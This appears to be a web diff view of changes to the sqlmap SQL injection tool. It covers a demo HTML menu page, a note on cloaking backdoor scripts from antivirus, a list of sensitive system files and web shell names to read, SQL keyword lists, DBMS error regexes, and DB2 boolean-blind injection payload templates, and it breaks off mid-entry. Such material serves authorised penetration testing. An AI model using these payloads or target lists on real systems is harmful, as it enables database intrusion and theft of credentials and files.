!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
$(function() {
$('#side-menu').metisMenu();
});
//Loads the correct sidebar on window load,
//collapses the sidebar on window resize.
// Sets the min-height of #page-wrapper to window size
$(function() {
$(window).bind("load resize", function() {
topOffset = 50;
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
if (width < 768) {
$('div.navbar-collapse').addClass('collapse')
topOffset = 100; // 2-row-menu
} else {
$('div.navbar-collapse').removeClass('collapse')
}
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
height = height - topOffset;
if (height < 1) height = 1;
if (height > topOffset) {
$("#page-wrapper").css("min-height", (height) + "px");
}
})
});
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</body>
<html lang="en">
<head>
<title>DEMO</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<body>
<style>
#wrapper { width: 100%; }
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
.sidebar .sidebar-search { padding: 15px; }
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
.sidebar ul li a.active { background-color: #eee; }
.sidebar .arrow { float: right;}
.sidebar .fa.arrow:before { content: "f104";}
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a { padding-left: 37px; }
.sidebar .nav-third-level li a { padding-left: 52px; }
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
}
</style>
<div id="wrapper">
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">sqlmap</a>
</div>
<div class="navbar-default sidebar" role="navigation">
<div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu">
<li>
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level">
<li><a>Target</a></li>
<li><a>Request</a></li>
<li><a>Optimization</a></li>
<li><a>Injection</a></li>
<li><a>Detection</a></li>
<li><a>Techniques</a></li>
<li><a>Fingerprint</a></li>
<li><a>Enumeration</a></li>
<li><a>Brute force</a></li>
<li><a>User-defined function injection</a></li>
<li><a>File system access</a></li>
<li><a>Operating system access</a></li>
<li><a>Windows registry access</a></li>
<li><a>General</a></li>
<li><a>Miscellaneous</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<div id="page-wrapper">
<div class="row">
<h4>DEMO</h4>
</div>
</div>
</div>
<script>
/*
* metismenu - v1.0.3
* Easy menu jQuery plugin for Twitter Bootstrap 3
* https://github.com/onokumus/metisMenu
*
* Made by Osman Nuri Okumuş
* Under MIT License
*/
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
$(function() {
$('#side-menu').metisMenu();
});
//Loads the correct sidebar on window load,
//collapses the sidebar on window resize.
// Sets the min-height of #page-wrapper to window size
$(function() {
$(window).bind("load resize", function() {
topOffset = 50;
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
if (width < 768) {
$('div.navbar-collapse').addClass('collapse')
topOffset = 100; // 2-row-menu
} else {
$('div.navbar-collapse').removeClass('collapse')
}
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
height = height - topOffset;
if (height < 1) height = 1;
if (height > topOffset) {
$("#page-wrapper").css("min-height", (height) + "px");
}
})
});
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</body>
</html>
+3 -3
View File
@@ -1,7 +1,7 @@
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command:
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this:
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+62 -67
View File
@@ -679,17 +679,6 @@
/.htaccess
/.htpasswd
/[jboss]/server/default/conf/jboss-minimal.xml
/[jboss]/server/default/conf/jboss-service.xml
/[jboss]/server/default/conf/jndi.properties
/[jboss]/server/default/conf/log4j.xml
/[jboss]/server/default/conf/login-config.xml
/[jboss]/server/default/conf/server.log.properties
/[jboss]/server/default/conf/standardjaws.xml
/[jboss]/server/default/conf/standardjboss.xml
/[jboss]/server/default/deploy/jboss-logging.xml
/[jboss]/server/default/log/boot.log
/[jboss]/server/default/log/server.log
/access.log
/access_log
/apache/conf/httpd.conf
@@ -1024,17 +1013,17 @@
/mysql/my.cnf
/mysql/my.ini
/netserver/bin/stable/apache/php.ini
/opt/[jboss]/server/default/conf/jboss-minimal.xml
/opt/[jboss]/server/default/conf/jboss-service.xml
/opt/[jboss]/server/default/conf/jndi.properties
/opt/[jboss]/server/default/conf/log4j.xml
/opt/[jboss]/server/default/conf/login-config.xml
/opt/[jboss]/server/default/conf/server.log.properties
/opt/[jboss]/server/default/conf/standardjaws.xml
/opt/[jboss]/server/default/conf/standardjboss.xml
/opt/[jboss]/server/default/deploy/jboss-logging.xml
/opt/[jboss]/server/default/log/boot.log
/opt/[jboss]/server/default/log/server.log
/opt/jboss/server/default/conf/jboss-minimal.xml
/opt/jboss/server/default/conf/jboss-service.xml
/opt/jboss/server/default/conf/jndi.properties
/opt/jboss/server/default/conf/log4j.xml
/opt/jboss/server/default/conf/login-config.xml
/opt/jboss/server/default/conf/server.log.properties
/opt/jboss/server/default/conf/standardjaws.xml
/opt/jboss/server/default/conf/standardjboss.xml
/opt/jboss/server/default/deploy/jboss-logging.xml
/opt/jboss/server/default/log/boot.log
/opt/jboss/server/default/log/server.log
/opt/apache/apache.conf
/opt/apache/apache2.conf
/opt/apache/conf/apache.conf
@@ -1075,17 +1064,6 @@
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/private/etc/squirrelmail/config/config.php
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
/private/tmp/[jboss]/server/default/conf/jndi.properties
/private/tmp/[jboss]/server/default/conf/log4j.xml
/private/tmp/[jboss]/server/default/conf/login-config.xml
/private/tmp/[jboss]/server/default/conf/server.log.properties
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
/private/tmp/[jboss]/server/default/log/boot.log
/private/tmp/[jboss]/server/default/log/server.log
/proc/cpuinfo
/proc/devices
/proc/meminfo
@@ -1114,17 +1092,17 @@
/proc/self/stat
/proc/self/status
/proc/version
/program files/[jboss]/server/default/conf/jboss-minimal.xml
/program files/[jboss]/server/default/conf/jboss-service.xml
/program files/[jboss]/server/default/conf/jndi.properties
/program files/[jboss]/server/default/conf/log4j.xml
/program files/[jboss]/server/default/conf/login-config.xml
/program files/[jboss]/server/default/conf/server.log.properties
/program files/[jboss]/server/default/conf/standardjaws.xml
/program files/[jboss]/server/default/conf/standardjboss.xml
/program files/[jboss]/server/default/deploy/jboss-logging.xml
/program files/[jboss]/server/default/log/boot.log
/program files/[jboss]/server/default/log/server.log
/program files/jboss/server/default/conf/jboss-minimal.xml
/program files/jboss/server/default/conf/jboss-service.xml
/program files/jboss/server/default/conf/jndi.properties
/program files/jboss/server/default/conf/log4j.xml
/program files/jboss/server/default/conf/login-config.xml
/program files/jboss/server/default/conf/server.log.properties
/program files/jboss/server/default/conf/standardjaws.xml
/program files/jboss/server/default/conf/standardjboss.xml
/program files/jboss/server/default/deploy/jboss-logging.xml
/program files/jboss/server/default/log/boot.log
/program files/jboss/server/default/log/server.log
/program files/apache group/apache/apache.conf
/program files/apache group/apache/apache2.conf
/program files/apache group/apache/conf/apache.conf
@@ -1177,17 +1155,17 @@
/system/library/webobjects/adaptors/apache2.2/apache.conf
/temp/sess_
/thttpd_log
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
/tmp/[jboss]/server/default/conf/jboss-service.xml
/tmp/[jboss]/server/default/conf/jndi.properties
/tmp/[jboss]/server/default/conf/log4j.xml
/tmp/[jboss]/server/default/conf/login-config.xml
/tmp/[jboss]/server/default/conf/server.log.properties
/tmp/[jboss]/server/default/conf/standardjaws.xml
/tmp/[jboss]/server/default/conf/standardjboss.xml
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
/tmp/[jboss]/server/default/log/boot.log
/tmp/[jboss]/server/default/log/server.log
/tmp/jboss/server/default/conf/jboss-minimal.xml
/tmp/jboss/server/default/conf/jboss-service.xml
/tmp/jboss/server/default/conf/jndi.properties
/tmp/jboss/server/default/conf/log4j.xml
/tmp/jboss/server/default/conf/login-config.xml
/tmp/jboss/server/default/conf/server.log.properties
/tmp/jboss/server/default/conf/standardjaws.xml
/tmp/jboss/server/default/conf/standardjboss.xml
/tmp/jboss/server/default/deploy/jboss-logging.xml
/tmp/jboss/server/default/log/boot.log
/tmp/jboss/server/default/log/server.log
/tmp/access.log
/tmp/sess_
/usr/apache/conf/httpd.conf
@@ -1202,17 +1180,17 @@
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/lib/security/mkuser.default
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
/usr/local/[jboss]/server/default/conf/jboss-service.xml
/usr/local/[jboss]/server/default/conf/jndi.properties
/usr/local/[jboss]/server/default/conf/log4j.xml
/usr/local/[jboss]/server/default/conf/login-config.xml
/usr/local/[jboss]/server/default/conf/server.log.properties
/usr/local/[jboss]/server/default/conf/standardjaws.xml
/usr/local/[jboss]/server/default/conf/standardjboss.xml
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
/usr/local/[jboss]/server/default/log/boot.log
/usr/local/[jboss]/server/default/log/server.log
/usr/local/jboss/server/default/conf/jboss-minimal.xml
/usr/local/jboss/server/default/conf/jboss-service.xml
/usr/local/jboss/server/default/conf/jndi.properties
/usr/local/jboss/server/default/conf/log4j.xml
/usr/local/jboss/server/default/conf/login-config.xml
/usr/local/jboss/server/default/conf/server.log.properties
/usr/local/jboss/server/default/conf/standardjaws.xml
/usr/local/jboss/server/default/conf/standardjboss.xml
/usr/local/jboss/server/default/deploy/jboss-logging.xml
/usr/local/jboss/server/default/log/boot.log
/usr/local/jboss/server/default/log/server.log
/usr/local/apache/apache.conf
/usr/local/apache/apache2.conf
/usr/local/apache/conf/access.conf
@@ -1801,4 +1779,21 @@
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
# Web shells
/var/www/html/backdoor.php
/var/www/html/b374k.php
/var/www/html/c99.php
/var/www/html/cmd.php
/var/www/html/r57.php
/var/www/html/shell.php
/var/www/html/wso.php
# Misc
/etc/lib/nfs/etab
/app/app.js
/app/configure.js
/app/config/config.json
+1
View File
@@ -442,6 +442,7 @@ exchange
Status
WORKS_ON
lines
testusers
booleantests
QRTZ_SIMPLE_TRIGGERS
mobile_menu
+422
View File
@@ -259,6 +259,7 @@ YEAR
ZONE
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
ADD
ALL
ALTER
@@ -450,3 +451,424 @@ WITH
WRITEXOR
YEAR_MONTH
ZEROFILL
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
ABS
ACOS
ALL
ALLOCATE
ALTER
ANALYSE
ANALYZE
AND
ANY
ARE
ARRAY
ARRAY_AGG
ARRAY_MAX_CARDINALITY
AS
ASC
ASENSITIVE
ASIN
ASYMMETRIC
AT
ATAN
ATOMIC
AUTHORIZATION
AVG
BEGIN
BEGIN_FRAME
BEGIN_PARTITION
BETWEEN
BIGINT
BINARY
BLOB
BOOLEAN
BOTH
BY
CALL
CALLED
CARDINALITY
CASCADED
CASE
CAST
CEIL
CEILING
CHAR
CHARACTER
CHARACTER_LENGTH
CHAR_LENGTH
CHECK
CLASSIFIER
CLOB
CLOSE
COALESCE
COLLATE
COLLATION
COLLECT
COLUMN
COMMIT
CONCURRENTLY
CONDITION
CONNECT
CONSTRAINT
CONTAINS
CONVERT
COPY
CORR
CORRESPONDING
COS
COSH
COUNT
COVAR_POP
COVAR_SAMP
CREATE
CROSS
CUBE
CUME_DIST
CURRENT
CURRENT_CATALOG
CURRENT_DATE
CURRENT_DEFAULT_TRANSFORM_GROUP
CURRENT_PATH
CURRENT_ROLE
CURRENT_ROW
CURRENT_SCHEMA
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_TRANSFORM_GROUP_FOR_TYPE
CURRENT_USER
CURSOR
CYCLE
DATALINK
DATE
DAY
DEALLOCATE
DEC
DECFLOAT
DECIMAL
DECLARE
DEFAULT
DEFERRABLE
DEFINE
DELETE
DENSE_RANK
DEREF
DESC
DESCRIBE
DETERMINISTIC
DISCONNECT
DISTINCT
DLNEWCOPY
DLPREVIOUSCOPY
DLURLCOMPLETE
DLURLCOMPLETEONLY
DLURLCOMPLETEWRITE
DLURLPATH
DLURLPATHONLY
DLURLPATHWRITE
DLURLSCHEME
DLURLSERVER
DLVALUE
DO
DOUBLE
DROP
DYNAMIC
EACH
ELEMENT
ELSE
EMPTY
END
END-EXEC
END_FRAME
END_PARTITION
EQUALS
ESCAPE
EVERY
EXCEPT
EXEC
EXECUTE
EXISTS
EXP
EXTERNAL
EXTRACT
FALSE
FETCH
FILTER
FIRST_VALUE
FLOAT
FLOOR
FOR
FOREIGN
FRAME_ROW
FREE
FREEZE
FROM
FULL
FUNCTION
FUSION
GET
GLOBAL
GRANT
GROUP
GROUPING
GROUPS
HAVING
HOLD
HOUR
IDENTITY
ILIKE
IMPORT
IN
INDICATOR
INITIAL
INITIALLY
INNER
INOUT
INSENSITIVE
INSERT
INT
INTEGER
INTERSECT
INTERSECTION
INTERVAL
INTO
IS
ISNULL
JOIN
JSON_ARRAY
JSON_ARRAYAGG
JSON_EXISTS
JSON_OBJECT
JSON_OBJECTAGG
JSON_QUERY
JSON_TABLE
JSON_TABLE_PRIMITIVE
JSON_VALUE
LAG
LANGUAGE
LARGE
LAST_VALUE
LATERAL
LEAD
LEADING
LEFT
LIKE
LIKE_REGEX
LIMIT
LISTAGG
LN
LOCAL
LOCALTIME
LOCALTIMESTAMP
LOG
LOG10
LOWER
MATCH
MATCHES
MATCH_NUMBER
MATCH_RECOGNIZE
MAX
MEASURES
MEMBER
MERGE
METHOD
MIN
MINUTE
MOD
MODIFIES
MODULE
MONTH
MULTISET
NATIONAL
NATURAL
NCHAR
NCLOB
NEW
NO
NONE
NORMALIZE
NOT
NOTNULL
NTH_VALUE
NTILE
NULL
NULLIF
NUMERIC
OCCURRENCES_REGEX
OCTET_LENGTH
OF
OFFSET
OLD
OMIT
ON
ONE
ONLY
OPEN
OR
ORDER
OUT
OUTER
OVER
OVERLAPS
OVERLAY
PARAMETER
PARTITION
PATTERN
PER
PERCENT
PERCENTILE_CONT
PERCENTILE_DISC
PERCENT_RANK
PERIOD
PERMUTE
PLACING
PORTION
POSITION
POSITION_REGEX
POWER
PRECEDES
PRECISION
PREPARE
PRIMARY
PROCEDURE
PTF
RANGE
RANK
READS
REAL
RECURSIVE
REF
REFERENCES
REFERENCING
REGR_AVGX
REGR_AVGY
REGR_COUNT
REGR_INTERCEPT
REGR_R2
REGR_SLOPE
REGR_SXX
REGR_SXY
REGR_SYY
RELEASE
RESULT
RETURN
RETURNING
RETURNS
REVOKE
RIGHT
ROLLBACK
ROLLUP
ROW
ROWS
ROW_NUMBER
RUNNING
SAVEPOINT
SCOPE
SCROLL
SEARCH
SECOND
SEEK
SELECT
SENSITIVE
SESSION_USER
SET
SHOW
SIMILAR
SIN
SINH
SKIP
SMALLINT
SOME
SPECIFIC
SPECIFICTYPE
SQL
SQLEXCEPTION
SQLSTATE
SQLWARNING
SQRT
START
STATIC
STDDEV_POP
STDDEV_SAMP
SUBMULTISET
SUBSET
SUBSTRING
SUBSTRING_REGEX
SUCCEEDS
SUM
SYMMETRIC
SYSTEM
SYSTEM_TIME
SYSTEM_USER
TABLE
TABLESAMPLE
TAN
TANH
THEN
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TRAILING
TRANSLATE
TRANSLATE_REGEX
TRANSLATION
TREAT
TRIGGER
TRIM
TRIM_ARRAY
TRUE
TRUNCATE
UESCAPE
UNION
UNIQUE
UNKNOWN
UNMATCHED
UNNEST
UPDATE
UPPER
USER
USING
VALUE
VALUES
VALUE_OF
VARBINARY
VARCHAR
VARIADIC
VARYING
VAR_POP
VAR_SAMP
VERBOSE
VERSIONING
WHEN
WHENEVER
WHERE
WIDTH_BUCKET
WINDOW
WITH
WITHIN
WITHOUT
XML
XMLAGG
XMLATTRIBUTES
XMLBINARY
XMLCAST
XMLCOMMENT
XMLCONCAT
XMLDOCUMENT
XMLELEMENT
XMLEXISTS
XMLFOREST
XMLITERATE
XMLNAMESPACES
XMLPARSE
XMLPI
XMLQUERY
XMLSERIALIZE
XMLTABLE
XMLTEXT
XMLVALIDATE
YEAR
+4652 -202
View File
File diff suppressed because it is too large Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+9
View File
@@ -213,6 +213,15 @@ Formats:
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>%'</prefix>
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
+20 -24
View File
@@ -1,13 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- MySQL -->
<dbms value="MySQL">
<error regexp="SQL syntax.*?MySQL"/>
<error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/>
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/>
@@ -15,13 +16,11 @@
<error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
</dbms>
<!-- PostgreSQL -->
<dbms value="PostgreSQL">
<error regexp="PostgreSQL.*?ERROR"/>
<error regexp="Warning.*?\Wpg_"/>
@@ -37,7 +36,6 @@
<error regexp="PSQLException"/>
</dbms>
<!-- Microsoft SQL Server -->
<dbms value="Microsoft SQL Server">
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
<error regexp="OLE DB.*? SQL Server"/>
@@ -59,7 +57,6 @@
<error regexp="SQL(Srv|Server)Exception"/>
</dbms>
<!-- Microsoft Access -->
<dbms value="Microsoft Access">
<error regexp="Microsoft Access (\d+ )?Driver"/>
<error regexp="JET Database Engine"/>
@@ -68,7 +65,6 @@
<error regexp="Syntax error \(missing operator\) in query expression"/>
</dbms>
<!-- Oracle -->
<dbms value="Oracle">
<error regexp="\bORA-\d{5}"/>
<error regexp="Oracle error"/>
@@ -83,19 +79,18 @@
<error regexp="OracleException"/>
</dbms>
<!-- IBM DB2 -->
<dbms value="IBM DB2">
<error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/>
<error regexp="\bdb2_\w+\("/>
<error regexp="SQLSTATE.+SQLCODE"/>
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/>
<error regexp="DB2Exception"/>
<error regexp="ibm_db_dbi\.ProgrammingError"/>
</dbms>
<!-- Informix -->
<dbms value="Informix">
<error regexp="Warning.*?\Wifx_"/>
<error regexp="Exception.*?Informix"/>
@@ -115,7 +110,6 @@
<error regexp="Pdo[./_\\]Firebird"/>
</dbms>
<!-- SQLite -->
<dbms value="SQLite">
<error regexp="SQLite/JDBCDriver"/>
<error regexp="SQLite\.Exception"/>
@@ -130,15 +124,15 @@
<error regexp="SQLiteException"/>
</dbms>
<!-- SAP MaxDB -->
<dbms value="SAP MaxDB">
<error regexp="SQL error.*?POS([0-9]+)"/>
<error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/>
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
</dbms>
<!-- Sybase -->
<dbms value="Sybase">
<error regexp="Warning.*?\Wsybase_"/>
<error regexp="Sybase message"/>
@@ -148,7 +142,6 @@
<error regexp="com\.sybase\.jdbc"/>
</dbms>
<!-- Ingres -->
<dbms value="Ingres">
<error regexp="Warning.*?\Wingres_"/>
<error regexp="Ingres SQLSTATE"/>
@@ -156,39 +149,36 @@
<error regexp="com\.ingres\.gcf\.jdbc"/>
</dbms>
<!-- Frontbase -->
<dbms value="Frontbase">
<dbms value="FrontBase">
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
<error regexp="com\.frontbase\.jdbc"/>
<error regexp="Syntax error 1. Missing"/>
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
</dbms>
<!-- HSQLDB -->
<dbms value="HSQLDB">
<error regexp="Unexpected end of command in statement \["/>
<error regexp="Unexpected token.*?in statement \["/>
<error regexp="org\.hsqldb\.jdbc"/>
</dbms>
<!-- H2 -->
<dbms value="H2">
<error regexp="org\.h2\.jdbc"/>
<error regexp="\[42000-192\]"/>
</dbms>
<!-- MonetDB -->
<dbms value="MonetDB">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
<error regexp="\[MonetDB\]\[ODBC Driver"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
</dbms>
<!-- Apache Derby -->
<dbms value="Apache Derby">
<error regexp="Syntax error: Encountered"/>
<error regexp="org\.apache\.derby"/>
<error regexp="ERROR 42X01"/>
</dbms>
<!-- Vertica -->
<dbms value="Vertica">
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
<error regexp="/vertica/Parser/scan"/>
@@ -197,13 +187,12 @@
<error regexp="com\.vertica\.dsi\.dataengine"/>
</dbms>
<!-- Mckoi -->
<dbms value="Mckoi">
<error regexp="com\.mckoi\.JDBCDriver"/>
<error regexp="com\.mckoi\.database\.jdbc"/>
<error regexp="&lt;REGEX_LITERAL&gt;"/>
</dbms>
<!-- Presto -->
<dbms value="Presto">
<error regexp="com\.facebook\.presto\.jdbc"/>
<error regexp="io\.prestosql\.jdbc"/>
@@ -211,14 +200,21 @@
<error regexp="UNION query has different number of fields: \d+, \d+"/>
</dbms>
<!-- Altibase -->
<dbms value="Altibase">
<error regexp="Altibase\.jdbc\.driver"/>
</dbms>
<!-- MimerSQL -->
<dbms value="MimerSQL">
<error regexp="com\.mimer\.jdbc"/>
<error regexp="Syntax error,[^\n]+assumed to mean"/>
</dbms>
<dbms value="CrateDB">
<error regexp="io\.crate\.client\.jdbc"/>
</dbms>
<dbms value="Cache">
<error regexp="encountered after end of query"/>
<error regexp="A comparison operator is required here"/>
</dbms>
</root>
+38 -6
View File
@@ -824,7 +824,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -845,7 +844,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1193,7 +1191,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1214,7 +1211,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1332,6 +1328,44 @@ Tag: <test>
</details>
</test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
<stype>1</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
